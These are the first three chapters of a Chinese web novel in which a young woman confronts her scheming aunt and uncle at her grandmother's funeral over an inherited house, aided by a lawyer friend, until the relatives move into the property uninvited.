《我在灰色空间里杀疯了[无限流]》
1. 遗产(一)
01遗产(一)
葬礼这天,雨下得很大。
褚清子撑着把黑伞,穿着身黑裙,怀里抱着一束白菊,站在灵堂的院门前。
她浑身都湿透了,在来的路上由于心急不小心跌落在地,雨水漫过了大面积的衣裙。她却本能地,忽略了疼痛和狼狈,一心只想用弱小的身躯护住怀里的白菊。
还好,白菊没碎,也没脏。
她还能赶得上。
灵堂这栋灰白色的房子前围着一圈院墙,她就站在院门前,但严格来说,这不过就是一扇隔绝了里面和外面的铁门。
红色的,锈迹斑斑,一看就上了年头。这栋房子,应该送走过不少人。
铁门外,一切都在按部就班地进行。外面有个站点,4路公交车每隔十五分钟一班。在站点的对面正好是一所职高,现在这个时间,正赶上放学,附近搭乘车的大多都是学生。所以,褚清子的身后其实很嘈杂,几乎都是沸腾的人声,还有拥堵路段的车鸣声。
褚清子认识这所学校,她有熟人在里面读书。是姑姑褚琴的儿子,也就是她的表弟李正恺。那小孩,平时不爱学习,也不学无术,被他妈妈从小保护过度,养成了张嘴就要、伸手就拿的坏毛病。
每逢家里团聚,他都会给褚清子使绊子,她有的,他也得有。如果不能拥有,她也得“让”。
他们两年龄其实相差了十岁,所以大多时候,褚清子都暗示自己,不要和小孩子置气。
他毕竟年龄还小,可她已经是成年人了,不必去同他计较。但她却忘了,她还没成年的时候,李正恺就学会了欺负她。
褚清子就是这种性格,受原生家庭的影响,成了逃避型,不想惹事型,想隐身在人群里的寄居蟹。
而姑姑将婆婆的丧事定在这儿,应该也是为了李正恺。他学校离这儿近,方便。能提前请假,过个马路来当孝孙。等葬礼结束,他就能轻松褪去孝孙的身份,直接搭乘4路公交车,沿着最熟悉的路线,轻而易举地回家。
不浪费任何的时间,所有的算计都是刚刚好。这很符合姑姑在她心中的印象,万事皆有利她的考量。
而铁门里面,却是另外一番景象。
前来吊唁的人寥寥无几,大部分眼熟的都是镇上的街坊。很多人交了礼金,宽慰两句,便迅速离去。毕竟,在他们眼中,奔丧这种事情很晦气。
因此,灵堂虽小,但也不闷。可里面的动静却不小,姑姑的哭丧声隔很远就能听见,混着悲戚的音乐,替他们做足了戏码。
他们,指的是姑姑褚琴和大伯褚强。
褚清子盯着斑驳的铁门,听着里面的嚎叫,还有外面的嘈杂,心里发堵,更无法接受。
她在做长久的心理斗争,为自己,也为已经去世的婆婆。
明明在上周,她才同婆婆通了电话,说自己一切安好,让她安心工作。
可今天下午四点多,她突然接到了姑姑褚琴发来婆婆去世的消息,并且还发了灵堂的定位。
她脑子一片混乱,以为是在做梦。
可如今到了指定的地点,他们都布置好了,亲友都来了,才想起通知她。
她连婆婆最后一面都没见着。
她推测,褚琴想当着这些亲友的面,给她扣一个不孝孙女的屎盆子罪名。自己亲婆婆的丧事,身为直系的亲孙女,从小养在婆婆膝下,竟然敢半途到场,简直是恬不知耻,忘恩负义。
但这些都不重要,重要的是,她不相信婆婆已经去世了。
他们瞒着她,瞒到了现在。褚清子没轻易进去,还因为,她也在想里面究竟有什么圈套在等着她。
按照自己对姑姑和大伯的了解,她知道一旦出现在灵堂,势必会掀起一番腥风血雨。
所以在来之前,她就提前通知了律师好友顾颜,如果姑姑和大伯在行为方面有任何法律底线的逾矩,她就要及时出现。
但这还不够,她还是没有底气。
可再多的担忧,都不及以身犯险更能试探出他们的底线。
褚清子鼓起勇气,深吸一口气,望着幽幽的入口,混着人群走进。
一踏进来,抬眼的瞬间,眼眶立刻潮热。
正中的墙上,挂着婆婆的遗像。上扬的嘴角,深壑的沟纹,亲淡的眉眼,婆婆仍是那么慈祥。
还好,他们还有点良心,替婆婆选的照片是妥善的。
灵堂内,老式吊扇在天花板上嘎吱作响,搅动着满屋子浑浊的檀香和断断续续的哭丧声。白织灯似乎接触不良,一闪一闪的,将婆婆的遗像照得忽明忽暗。
遗像的正下方是一口深色的棺材,在棺材两侧摆放了整齐的花圈。姑姑和大伯披麻戴孝地跪在旁边,低声下泣,表面做足了样子,心安理得地接受着到场亲友的吊唁。
而那李正恺,同样跪在褚琴的身边。人高马大的个子,浑身不自在地缩成一团跪在那儿,但在衣袖里还藏着微弱的光源,整张脸几乎伸进了袖口,显得特别滑稽。
他和婆婆没什么感情,从小到大只回来过十次有余。褚琴和褚强有了自己的事业和家庭后,也不会经常回来。好像他们认为,只有逢年过节回来看下婆婆,才是理所当然的事情。
所以,他们根本不配。
不配跪在那儿,替婆婆接受别人的哀思。
褚清子心里更气了,可大局已定,生米煮成了熟饭,当着众人的面,如果同他们起了正面冲突,就会让婆婆走得更不安生。
半辈子都让了,不差这点时间。
她再次选择回避,眼神尽量不朝他们去看,加快了脚步,想将白菊尽快送上,安稳地送婆婆一程。
还有,她想婆婆了,想看她最后的遗容。
但她不想惹事,并不代表别人不会。
自她踏进来,就注定这个戏台是专门替她搭的。
褚强最先看见了褚清子,浑浊的眼神一旦沾上了,就追着她不放。
紧接着,他还用手肘碰了碰身旁的褚琴,提醒她,那丧门星来了。
褚琴当然早就注意到了,她只是在等褚强自己发现。然后,自己理所应当地低声撺掇:“哥,你赶紧去问问,咱妈的房子是怎么回事。”
那双眼睛,充满了轻蔑。
褚强闻言一点也没有犹豫,他双手撑地站了起来,膝盖离开蒲团的时候,由于身体较重发出了沉闷的摩擦声。
他也想问明白,不对,是要替自己讨个公道。妈的房子不留给他这个长子,凭什么隔了一辈给了褚清子?
他不信,这是妈做的决定。褚清子一定做了什么,哄骗妈犯了傻事。
而且……妈的葬礼,她竟敢来得这么迟,是不是房子到手了,就知道不用假装孝道了。
他今天就要替天行道,大义灭亲,撕破她虚伪的嘴脸。
“褚清子,你什么意思?”褚强嗓门本来就粗,在逼仄的灵堂里,更是震耳欲聋。
“都这个点才来,你还有没有良心!”他手指着褚清子,满眼的责备。
所有人的目光,不出所料,都集中在了褚清子的身上。
对啊,她一个直系的亲孙女,怎么现在才来?
迎着众人的眼神,褚清子不由地攥紧了花束外的塑料包装纸,念在亲情上,她可悲地还想着解释:“大伯,今天下午四点多我才收到姑姑的信息,说今天要替婆婆送丧……”
“你继续瞎掰嘛。”褚强有些听不下去,习惯性地忽略了她的说辞,“你姑姑明明是看你一直没来,下午的时候又发信息问了一遍。你平时撒谎惯了,没想到竟然连这种场合都改不了。妈糊涂了,妈真的是糊涂了!你赶紧给我滚出去,别在这丢人现眼的!”
说着,他情绪上头,推搡着就想将褚清子扫地出门。
褚强是个很直接的人,没有多少肠子弯弯绕绕,所以在不知道真相究竟是什么的情况下,他首先认同的就是自己亲眼所见,亲耳所听,还有极不靠谱的直觉去判断。
他很快就因为褚琴先入为主的说辞,还有褚清子立不住脚跟的理由给她判了死刑。但他忘记了问房子这件正事。
然而褚琴没忘,她从旁起身,不知不觉已经站在了褚强的身边。
她一直都是一个笑面虎的角色,人前有多善,人后就有多狠。她从来不会让污水脏了自己的手,特别擅长借力打力,还有暗中撺掇。
褚琴眼见褚强就要将褚清子赶出门去,赶紧上前制止,该问的话要当着众人的面说,这才有实效。
她在所有人的关注下,拉住了褚强,又在所有人的预料中,面色特别和善,成了能缓和局面唯一的那个
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人。
“哥,你先别气。清子毕竟是我们侄女,来晚了肯定多少有她自己的原因。”她拉架的话,几乎不费脑地说了出来。
“清子啊。”褚琴又转头,声音虚假得令人作呕,“你大伯脾气急,你别往心里去,但今天来晚了确实是你的不对。我们早上还以为是你工作忙,一直脱不开身,结果等到中午你都没来。下午我实在没忍住,还是给你发了信息,可工作再忙这种事情怎么能不参与?你等会好好去向你婆婆赔罪,她平时就特别宠你,你态度好些,她肯定会原谅你的。”
她突如其来的体谅,还有逻辑自洽的劝说,同褚强*暴烈的脾气形成了鲜明的对比。这种对比往往是致命的,会让在场的人都凭直觉判断,褚清子确实是个白眼狼。
“姑……”
“清子啊……”褚琴并没有留任何的余地,还没等她说完,又继续用虚伪的关怀强行打断,“姑姑其实都猜到了,你今天故意来晚,是不是因为你做了那种事,不知道该怎么面对你婆婆?你婆婆前几天生病的时候,就找不着你人,那时我们还奇怪你工作忙也不该忙成这样。可是现在这么重要的场合你又这么晚才来,姑姑才算是想明白了。”
她立刻伸手,强制性地拉住了褚清子,“清子,你上上周回老家,是不是趁你婆婆睡觉,偷偷用她的手指按下了遗嘱,让那老房子过继到你的名下?”
“你做了这种事,早晚会被发现的,不如现在承认了,将那假的遗嘱撕了,给你婆婆还有大伯道个歉,这件事就算翻篇了。”
“翻什么篇!”褚强一听,更气了。他本来就身材魁梧,站起的个子比褚清子高出了一个头,投下的阴影完全能将她彻底笼罩,“你和你爹简直一个德行!你爹欠了一屁股的赌债嗝屁了留下烂摊子,让我们全家人替他收拾。现在,你又来了!真是上梁不正下梁歪!”
接二连三的歪曲事实,一串跟着一串,从褚琴那张能说会道的嘴里变成了最虚伪的杜撰。
而褚强的话也特别直接,三言两语又将她爸褚力搬了出来臭骂了几句。她爸的名声本来就臭,周围亲友听见了,结合之前对她爸的印象,又开始窃窃私语。有的声音大,有的声音小,吵得褚清子头疼。
她其实早已习惯,由于姑姑褚琴的不断从中作梗,大伯褚强早就恨铁不成钢,将她看作依附在婆婆身上撵不走的毒瘤。这个标签,从她爸褚力病死,妈方圆圆改嫁开始,就像狗皮膏药一样贴在身上如何都甩不掉。
她没有说话,并不是不想说话,而是说了也没用,说了还会被误会得更深,让在场的人都对她厌恶。
“你一个小丫头,怎么能想出这么恶毒的计策!你让你婆婆九泉之下怎么能瞑目啊!”褚强越说越上头,越来越生气,甚至又想上手打褚清子。
他在家打过不止一次,而且专挑婆婆出门的时候揍。
褚琴都看在眼里,可这不比在家里,在外人面前不能打,打了褚清子说不定就有翻盘的机会。眼下,最应该做的是将那遗嘱作废,妈的房子就不能落在她的名下。
“哥,你冷静点。这件事情我知道有些严重,但她还是个孩子,从小没爹没妈的,这些道理都没人教。我们身为长辈得告诉她,什么是对的,什么又是错的。”
褚琴拉着褚强,看似在劝,实则是将褚清子彻底洗不清。
“清子……你别怪姑姑和大伯说这些话,你是不是有什么难言之隐,还是最近缺钱?你要什么你说出来,如果能帮肯定会尽力支持,但绝对不允许你去用这种方式,你这样做我们都很寒心。”
褚清子看着褚琴,看着她保养得宜的脸在白织灯下的扭曲。她终于舍得在全部脏水泼完后,让她深陷泥沼,尝试去解释一下。
现在,还能解释什么呢?
要是解释了,会有人听吗?
可哪怕没人愿意听,她也想再试一次,去守住婆婆最后的清净。
褚清子冷笑了一声,说的第一句话,就是破罐子破摔,也是她最真实的心声:“姑姑,别装了。”
褚琴愣住了。
她甚至像是没听明白,又问了一句:“啊?”
“我说,姑姑,你别装了。”
这次,所有人都听清楚了。
褚琴没想到,一向退让的褚清子突然硬气了。
2. 遗产(二)
02遗产(二)
褚清子的脸色很冷漠,没有留任何的情面。
她说的也很直接:“姑姑,你把话都说完了,还想让我解释什么呢?”
她其实很少去正面对抗褚琴,大多时候都会选择息事宁人。毕竟,她是她的姑姑,又不是敌人。可姑姑每次害她的样子,都像把她当成了假想敌。
她不想将关系搞僵,所以习惯了退让,但命运总是捉弄人。如今,他们从瞒着婆婆去世,再到私自办葬礼,不过是因为褚清子让惯了,他们便更加得寸进尺。
所以这样的亲情,根本不值一提。
而褚琴看起来挺有自信,还信誓旦旦认为现在场合闹得这么大,褚清子肯定下不了台。
但她没想到,眼前人说话的方式变了,眼神里的怯弱也没有了。
她竟然,有点担心。
褚琴拉着的手又收了些力道,想要暗中威胁:“清子……你听姑姑的,只要道歉,当着你婆婆,当着你大伯,还有这么多熟人的面,你给你自己留一个机会。”
留什么机会呢?名声一败涂地的机会,还是他们成功获得老房子继承权的机会?
呸。褚清子心里犯恶。
她凭什么,拿这些污言秽语来威胁她。
“姑姑,”褚清子直面她,“婆婆的房子,怎么处置应该是她自己说了才算。在她不清醒的情况下立的遗嘱是没有任何的法律效力,可现在有效力了,说明刚才你们说的话都站不住立场。”
褚清子挣脱开褚琴的手,轻轻揉了揉手腕,“我手机有记录,今天全天你只给我打了一通电话,发了一条短信。电话是早上五点打的,我开的震动,睡得很熟没接到,回过去的时候你又没接。信息是今天下午四点多,你突然通知我婆婆去世了,怎么还不来参加葬礼?”
她眼神里藏着恨,“怎么?早上五点,这么早打电话,明明知道我肯定在睡觉,有很大概率接不了,所以你就故意在这个时间打。葬礼这么大的事情,没有通知到我为什么不重复打呢?为什么不留条信息呢?我回过去后,你为什么又不接呢?还有下午那条信息,婆婆多久去世的我根本不知情,你却责怪我怎么不按时参加她的葬礼?”
“姑姑,你扪心自问,今天来晚了是我的原因吗?”
褚琴:“清子……”
“姑姑,”褚清子打断道,很快阻止了褚琴施法,“不通知,和通知迟了是两个概念。面具戴得久了,其实挺累的。你累不累?反正我很累。”
“放屁!”褚强一脚就踹翻了旁边的长凳,褚清子的形象恶劣久了,她说任何话此刻听着都不像真话。被踢翻的木凳砸在了地上,发出的巨响,盖过了哀乐,吓得角落里几个亲友的小孩哇哇大哭。
“找不着说的了是吧,把脏水泼在你姑姑身上了是吧!”褚强嗓门越来越大,“脑子没坏掉的人都知道,那房子是褚家的祖产,是你爷爷婆婆当年一砖一瓦盖起来的,我和你姑姑都没死,怎么可能让那房子直接落在你的头上!”
“你就让大家都评评理,我和你姑姑是不是合法的继承人!你一个隔辈的孙女,有什么资格继承那套房子!”
周围窃窃私语的声音更大了。
那些原本正在看热闹的人,本来就没多少文化,听见了前因后果却只认一个死理。在他们的价值观里,外嫁的女儿、入赘的女婿,甚至是这种“克没了父母”的孤女,都没有资格继承祖产。
房子本就应该顺其自然,属于褚家长子褚强的。所以,褚清子哪怕说得再动听,都在根深蒂固的认知前毫无说服力。
想到这,周围的嗡嗡声更大了。
褚清子一个人,是无法说过两张嘴的,还有周围这群像蚊子一样闹人的声音。
空气里的檀香味太浓了,混着潮湿的雨气和腐烂的人心,令人想吐。
她看着褚强和褚琴两张步步相逼的面孔,心里保留的最后一点体面溃然崩塌。
什么亲情。
什么长辈。
都不重要了。
她只想夺回,婆婆从小将她护到大的尊严。
“大伯,”褚清子将枪口彻底对准了褚强,她受不了他一直以来的不分青红皂白,也受不了他自以为是的大男子主义,“你如果不信,可以去找专业律师询问。婆婆立遗嘱的时候,她很清醒。甚至清醒到还记得,你最近找她要五万块钱,想要还做生意失败了的烂账。她说你是个无底洞,坚决没给,你就摔了老房子好多的东西。”
此话一出,褚强的脸由红变青。他做生意赚钱也亏钱,但大部分都是亏得多。他很容易被骗,被骗多了,赚的钱也被骗没了。
但他还是不放弃,想继续做生意,可他就不是那块料,这恐怕也是他想要那老房子的原因,急着卖了房子赶紧变现。
“你……你你血口喷人!”褚强脾气上了头,卷起衣袖就要扬着巴掌往褚清子的脸上扇。
褚琴在后本想劝阻,不想在灵堂闹出这种动静,奈何他力量太大,她没能立刻扶得住。
眼见,褚强就要动粗了,门突然被很响地踢开。
“我看谁敢动她。”
就在千钧一发之际,一道清冷的声音混着这么大的动静从门口传来。
众人回头,只见一个穿着黑色风衣的高个子女人走了进来。她没打伞,浑身湿漉漉的,雨水顺着她的脸颊往下坠。她手里没拿花圈,也没拿任何祭祀的东西,只是单手拎着一个黑色的公文包。
是顾颜,她按时来了。
顾颜是褚清子大学的室友,后来成了专业的律师,她也是婆婆生前私下委托的遗嘱执行人之一。
灵堂里的氛围很诡异,所有人都在猜测这个突兀出现的女子究竟是谁?
她看起来像是一个精英,同褚清子的关系也不一般。
“褚先生,褚女士。”顾颜目光扫向了褚强和褚琴,语气里是不容置疑的专业,“我是顾颜,受已故黄女士,也就是你们母亲的委托,处理她的遗产问题。如果你们对她的遗嘱有任何的异议,欢迎随时去法院起诉。但在判决生效之前,任何人试图骚扰我的当事人褚清子女士,我都将会以法律的手段维护她的权益。”
“法律?”褚强明显不服,指着顾言的鼻子追问,“你又是从哪冒出来的?拿法律在这儿唬人呢?你懂什么是法律吗?我是长子,我妈去世后房子理应归我,这是天经地义的事情。你算什么东西,敢在这威胁我?”
褚强没读多少书,大字也不认识几个,所以听到顾言极有针对性的说法只觉得可笑。毕竟在他的认知里,房子就该顺位归他。
“我是东西,但你也不是人。”顾颜哪怕被骂,也不动声色,表情管理极好,从公文包里抽出了一份文件,“这是黄女士亲笔书写签字的遗嘱复印件,以及她当时立遗嘱时的精神鉴定报告。上面白纸黑字,也明确写着,由于长子褚强、长女褚琴长期未尽赡养义务,次子褚力未能尽抚养责任。故将名下位于南乡镇北路34号平房及宅地基的使用权,全部赠与孙女褚清子。而褚小姐已经在有效期内接受了遗赠,并办理了公证,这处房产现在是她的合法资产。”
她说了一大段,由于太专业,褚强和褚琴还没来得及反应。说完,她将文件轻轻放在旁边的桌子上。
“另外,”顾颜顿了顿,很平静地看向褚琴,“褚女士,你上周曾私自拿走了黄女士存折,并且转出了存款。这一点,我们已经调取了银行的监控,黄女士也留了录音作为口证。如果你继续闹事,这些也将作为证据提交给司法机关。”
褚琴听了,有些意料之外,脸色更不好,平时伶牙俐齿的她似乎忘记了该怎么说话。她原以为,撺掇褚强出头,在众人面前闹一场,遗嘱这种真的也可以翻成假的,房子自然而然也不会弄到褚清子的头上。
可她没想到,褚清子还有后援,还是个这么专业的后援。
她究竟有什么能力可以聘请这么个嘴巴锐利的律师,差点没注意表情管理,险些将獠牙给露了出来。
“好啊,好啊……”褚强又成了那个强出头,挡在前的角色,他回头冲着那口棺材,哭丧着脸,“妈,你看看!你养的好孙女!带着个律师回来欺负我们!这就是你养的好孙女!”
他真的替褚琴挡了很多明枪暗箭,但他却傻得心甘情愿。
褚清子冷眼看着这一切,只觉得荒诞。好好的一个葬礼,被这群乌烟瘴气、心怀鬼胎的人弄得不安宁。
明明她没有做错任何的事情,却因为他们的一己私欲,强行被各种罪名安在身上。也明明,姑姑和大伯其实错得更多,却只因为他们是长辈,多吃了几十年的饭,就能比她更占理。
没工作前,婆婆是她唯一的依赖,她享受在那栋老房子里,过着婆孙两人的温馨日子。大伯,还有姑姑偶尔会出现,别说日常的关心了,连最基本身为子女的孝道都没尽到,但他们现在却在人前装着很有孝心。
将白的说成黑的,将她的路堵得死死的。他们根本打从一开始,就不想让她好过。
“如果你们还有什么异议,请申请正常的司法程序解决,不要在这里打扰了黄女士清净。”顾颜最后交代了一句,示意褚清子离开。
可她缓缓摇头:“我看一眼婆婆再走。”
她还有正事没做。
她不再去对视褚琴和褚强的眼神,也不在意身旁其余人的目光,手里握紧了白菊,一步一步走到了深色的棺材前。
她把白菊轻轻放在了棺材盖上,自动屏蔽了身后褚强不服的喧嚷。
满心满眼都是躺在棺材里的婆婆。
“婆婆。”她低声说,看向了闭着眼满脸慈祥的老人,“对不起,我来晚了。”
说完这句话,她的眼泪终于开始不争气地往下坠,最后淌红了整片脸。
“您……怎么一声不吭地就离开了,连话也没交代,对不起,对不起,是我大意了。”
她一直在道歉,却
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不知道为什么道歉。她只记得,最后一次通话,婆婆还在作为长辈嘱咐她:在外出差别太累了,要是想家了下周周末就回来住,有我在家等你呢。
那时候,婆婆的声音还很洪亮,状态也很好。可是,为什么突然就去世了?
怎么可能呢……
褚清子看着眼前苍白透纸的老人,还是不敢相信。她就像睡着了一样,躺在棺材里,一动也不动。
“我会找到真相的,如果是他们……我会不惜一切代价替您讨回真相。”
褚清子低声呢喃,似在说给婆婆听,其实是在说给自己听。她最后扶着棺材的两边,用力掌了掌,就像在安抚婆婆。
等一切情绪平复,她回过头,双眼如炬。她知道姑姑和大伯当着众人的面敢发疯,是因为无所畏惧。而她从前不敢对抗,是想照顾婆婆的情绪。
可现在婆婆已经不在了,她也无所谓了。他们发疯,她也可以。
“婆婆,是怎么死的?”她看向褚琴,声音不大,却掷地有声。
没等到回应,她又问了一遍。
“我问你,婆婆是怎么死的?”
“当……当然是病死的,你这孩子怎么了,你连这个都不知道?”
褚强有些意外,但很快他把自己说服了,“你当然不知道,你忙着弄你那个遗嘱,你怎么可能还关心妈的死活。”
“病死的?”褚清子走近一步,眼神里更冷了,“我出差前,刚陪婆婆做了体检。她除了有点风湿,身体硬朗得很。才一周的时间,人就突然没了。大伯,你还觉得她真的是病死的吗?”
“哎呀,是意外!意外!”一旁的褚琴连忙劝着褚强别意气用事,“妈意外摔跤,引起了颅内出血。我们隔了几天才发现,送到医院的时候,已经……已经没救了。”
她说着说着,开始梨花带雨。在灵堂里忌讳的用词一经说出口,就让人觉得避讳,尤其还当着已经去世的婆婆的面。
褚强不想再让褚琴继续说下去,赶紧揉住了她的肩膀。周围的人,听见了死因,也不敢去望那口棺材,仿佛那里面是个深渊。
“怎么会太晚了呢?”褚清子知道事情并没有这么简单,所以步步紧逼,“姑姑,上周你就开始频繁地去找婆婆,因为偷偷取款的事情还同她发生了争执。而大伯,你那段时间也因为生意又失败,三天两头就去找婆婆要钱。她如果真的意外摔伤,你们不可能隔了几天才发现。”
褚清子其实不想将人心想得太坏,但她找不到宣泄口,也找不到能说服自己这只是意外的理由。
来的路上,她幻想了无数个死因。但从来没想过,婆婆会因为不小心摔了一跤,就去世了。她一时半会,无法接受,再加上这段时间褚琴和褚强没做什么好事,所以所有的矛头都迫切地想指认在他们身上。
真相就像一张拼不满的拼图,正在逐渐严丝合缝地生长。婆婆不是意外死的,她明明是被眼前这两个吸血鬼,一点点给耗死的。
顾颜见事态又开始失控,凭借着专业的经验,认为现在不该将事情放在明面上说破。她走上前,轻轻拉了拉褚清子,表示她需要冷静。但她能感觉到,褚清子此刻,正在气头上。
褚清子身在局中,是很难脱身的。而顾颜就是她脱身的理由,她看了满眼满脸担心的身边人,才用理智提醒自己,最好的解决方式就是来日方长。
她擦干了眼泪,挺直了脊梁,朝着褚琴和褚强说道:“无论你们做过什么……我都不想让婆婆最后一天走的不安生。她留给我的,还有属于她的东西,我都会牢牢守住,至于你们……”
她转身,再看了眼那口深色的棺材。
“婆婆在天上正在看着呢,这房子沾了血,你们心怀不轨的人住进去,恐怕天天晚上都会做噩梦。”
丢下这句,她径直走了,不再理会有些失去理智的褚强,还有心中不得逞的褚琴。
外面的雨仍然在下。
顾颜跟在她的身后,将那把黑伞几乎倾斜给了她。
“你放心,只要拿到了房产证,他们就不敢再闹了。”
褚清子点点头,站在锈迹斑斑的铁门前,只觉得外面和里面恍如隔世。
外面,生活仍在继续。里面,却暂停了一个人的一生。
她突然觉得很疲倦,吊了一下午的情绪在这一刻,彻底上头。
“颜颜……”她有些自责,“我刚刚是不是太冲动了,凭空去猜测他们的说法,或许婆婆真的是意外死的呢?”
“没事,情有可原。”顾颜安慰道,“就像你姑姑和大伯说的话,你也不会当真。”
“眼下,最重要的是眼前事。”顾颜好言提醒,“你姑姑和你大伯不会放弃房子的产权,我经手过类似的案子,他们后面应该还会想办法弄回房子。往后的日子,你只有多留些心眼了。”
“嗯,没什么,我应付得了。”褚清子并不意外,“半辈子都是这样过的,也不差后半辈子。”
3. 鸠占鹊巢(一)
03鸠占鹊巢(一)
拿到房产证的那天,褚清子开始策划怎么改造老房子,怎么能将姑姑和大伯生活过的痕迹都抹得一干二净。
她手持着鲜红的本子,从市政服务中心走出。薄薄的证件,却能压在心里有千钧重。
那是婆婆用一辈子的积蓄和念想,从褚家那摊烂泥里硬生生掰下来,塞到她手上的。
她得好好守护。
“恭喜。”出门的时候正巧遇见了顾颜,她应该在外面等了很久,还是穿着那身笔挺的黑色风衣,自然地将手里的矿泉水递给了褚清子,“从法律上来说,它现在是你的了。”
“谢谢。”褚清子接过水后拧开了瓶盖,她心里仍揣着顾虑,想起在灵堂里,褚琴那副惺惺作态的样子,还有褚强*暴躁的冲动。兴许拿到证,并不意味着生活可以重新开始,反而一切才刚刚揭开序幕。
“颜颜,如果没有你的帮助,我可能不能坚持到现在。”褚清子虽知道眼前的路道阻且长,但还是先将感谢表达清楚。
“没事,我只是履行了正常程序。”顾颜看了看表,“我下午还有个庭,你自己小心些,虽然房产证办下来了,但你那些亲戚未必会善罢甘休,出了什么事情及时给我打电话。”
嘱咐完,顾颜就走了。褚清子小心翼翼地将房产证塞进了背包的最里层,随手拦了一辆出租车,她哪也没去,直接让师傅开去了南乡镇北路34号。
她又回到了熟悉的街道,周围的区域正面临拆迁,房子大多较为破败,许多墙皮都已经剥落,露出了最原始灰黑色的砖体。
婆婆的老房子坐落在这处参差不齐的平房里,小小的院落,还有一颗老槐树歪斜地朝外长在墙角。
褚清子掏出了随身的钥匙,插*进锁孔,打开了院门。
院落有段时间没清理了,多了许多发黄的落叶,还有连根的枯草。褚清子继续往里走去,推开了平房的大门,陈旧的腐木气息扑面而来,屋里很暗,许多家具都被蒙上了白布,像一个个沉默的幽灵守着房子。
褚清子站在门前,仍有些恍惚,她好像听见了婆婆在厨房里忙碌的声响,听见了她坐在沙发旁的小凳上,择菜时嘴里哼出的小调。
回忆铺天盖地,她却什么也抓不回了。
褚清子慢慢朝里走,房子突然变得很空,脚步声的回音都能清晰可见。一切痕迹都同婆婆在世前一样,连她常用的针线筐都还放在了窗台边,里面放着半截还没纳完的鞋底。
从小时候,到成年后,这所房子承载了她和婆婆太多的记忆和情感。她的眼泪不争气地沁润了眼底,却在落下时深吸了口气,强迫自己冷静下来。
她得收拾一下,将婆婆的遗物都整理妥当,顺便来找点关于她摔倒时的蛛丝马迹。
褚清子正当弯腰开始收拾时,却突然听见屋外很吵。
是人多的吵,也是熟悉的声音在吵。
她透过窗户往外看,不出所料,姑姑褚琴正带着褚强进了院子。
“看来那丫头已经回来了。”她朝着褚强说道,手里还提着两袋鼓囊囊的编织袋。
他们来了,还带了不少东西。
但褚清子想试一试,虽然她知道,大半的概率,又会闹得不愉快。
“你们怎么来了?”她打开门,声音冷了下来。
“怎么?你不欢迎我们吗?”褚琴率先越过了门槛,高跟鞋踩进了地板上,发出清脆又尖锐的敲击声。她今天穿了件颜色鲜艳的绛紫色外套,脸上没有遮掩,“清子啊,我和你大伯今天来替你看房子。你看这屋子多空,没人气容易招贼的。我们是你长辈,总不能眼睁睁地看着你一个小姑娘家,守着这么大一房子整天担惊受怕吧。”
褚清子厌恶地看着褚琴四处张望的背影:“姑姑不用了。房产证已经下来了,这里现在是我的房子,请你们出去。”
“出去?”褚强一听将编织袋往地上狠狠一丢,随处溅起了层灰,嗓门里还有些不敢置信,“褚清子,你看你这说的是人话吗?你姑姑说得委婉,你还真当她好欺负?这房子在根上就是褚家的!老子是你大伯,没老子同意,你算个屁!”
他往前一逼,庞大的身躯将褚清子逼退了两步,“赶紧把你手上的钥匙交出来,滚回你工作的地方去!这里没你什么事儿了!”
又来了,无穷无尽的争执,还有不讲道理的狡辩。
她的童年,乃至后续的人生都承载着这两位重量级亲戚的影响。她受够了,也厌倦了,大多数时候只想逃个干净。
“大伯,请你客气点。”褚清子迎上了这堵身影的眼睛,“这房子现在是我的个人财产,你们再闹,我就报警。”
“报警?”褚强的声调由粗到尖,“那你报啊!我看警察管不管我们的家务事!我告诉你,今天这房子我们要定了!你婆婆去世的时候,你有没有关心过,尽过孝?你现在迫不及待地就来争家产,你到底还有没有良心?”
他边吵着边大步往沙发上走去,顺势坐在上面,满脸的不甘示弱:“今天,我还就住这儿了!”
“不能坐!”褚清子还想拦,却被褚强蹭地起身一把揪住了领子。
“你给我识相点,老子告诉你,你那个破遗嘱早晚给你撕了!现在,要么你赶紧滚,要么不介意我再身为你大伯教训你一下。”
他的眼神里全是憎恶,甚至揪住领子的力道更大了些。而那看热闹不嫌事大的褚琴,已经开始拆去遮家具的白布,收拾起自己随身提的东西。
“你们……”褚清子知道,面对褚强她根本没有还手的机会,可看着褚琴开始翻箱倒柜,浑身都气得颤抖,“你们这样做……婆婆九泉之下不会瞑目的。”
“少拿你婆婆来压我们。”褚琴没忍住,停下了手里的动静,扭头看向褚清子,“清子啊,听姑姑一句劝,你要这房子没用!你有你的工作,远在城区,你平时根本不可能来回通勤这么远。这房子空着也是空着,不如让我们安顿好了,将它好好利用。”
褚强听了,松开了衣领,伸手拍了拍裤子上的灰尘:“你姑姑说的对,以后等房子卖了,不如分你几个钢镚儿,也算仁至义尽了,你说是不是?”
褚清子听着这些脏耳朵的话,看着这两位鸠占鹊巢、洋洋自得的长辈,心里憋着的气烧成了燎原的火。
她掐着裤子的缝隙,掐着里层的肉,掐得生疼。她在强迫自己冷静,用最原始,最有效的方式在提醒自己。
她现在势单力薄,不要再同眼前这两个讲不通道理的人去讲道理,跟疯狗讲理,只会让自己得狂犬病。
“既然你们这么喜欢这房子,那我就成全你们。”小小的身躯,说着最不解气的话后,褚清子头也没回,直接转身走出了院子,离开了他们的视线。
还好,他们正沉浸在胜利的喜悦中,没有跟过来,甚至也没有百般纠缠。
她寻了处不远的地方
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,从裤兜里掏出了手机,按下那条熟记于心的电话号码。
电话响了两声,很快接通。
“喂,颜颜,”她对着电话,背靠着墙体,“他们来了,还带了行李,看样子是想长期住在这儿。”
电话那头沉默了两秒,传来了顾颜语速加快的声音:“你人呢?还在房子里吗?你找个机会先离开,千万别起正面的冲突,有什么事情我们见面商量。”
“你放心,我不傻。”褚清子转身看向了不远处的院子,家里那颗老槐树支出了一截,落在了院墙上。它像在偷听她在说话,“我刚才忍住了,先离开了那房子,他们没追过来。我现在人就在附近,接下来需要做什么,可以就近收集什么证据吗?”
“你先拍几张他们闯入那老房子的照片,证明他们搬进去的证据。”
“好,我现在就去。刚刚姑姑说,房子要替我看管。大伯说,他们还要卖了分钱。”
“法律上,他们属于非法侵入他人的住宅,我们现在可以报警的。”
褚清子听了,却稍显犹豫。她站起身,轻轻拍了拍裤子上的灰。
“报警有用吗?”她轻声问,倒像是也在问自己,“他们关几天后,又会被放出来。他们有无数次机会可以纠缠我,再消耗我。我却只有一次机会,守护这里。”
褚清子眼神里的脆弱正迅速褪去,取而代之的是她几近冷酷的清醒。
顾颜:“清子,你想怎么做?”
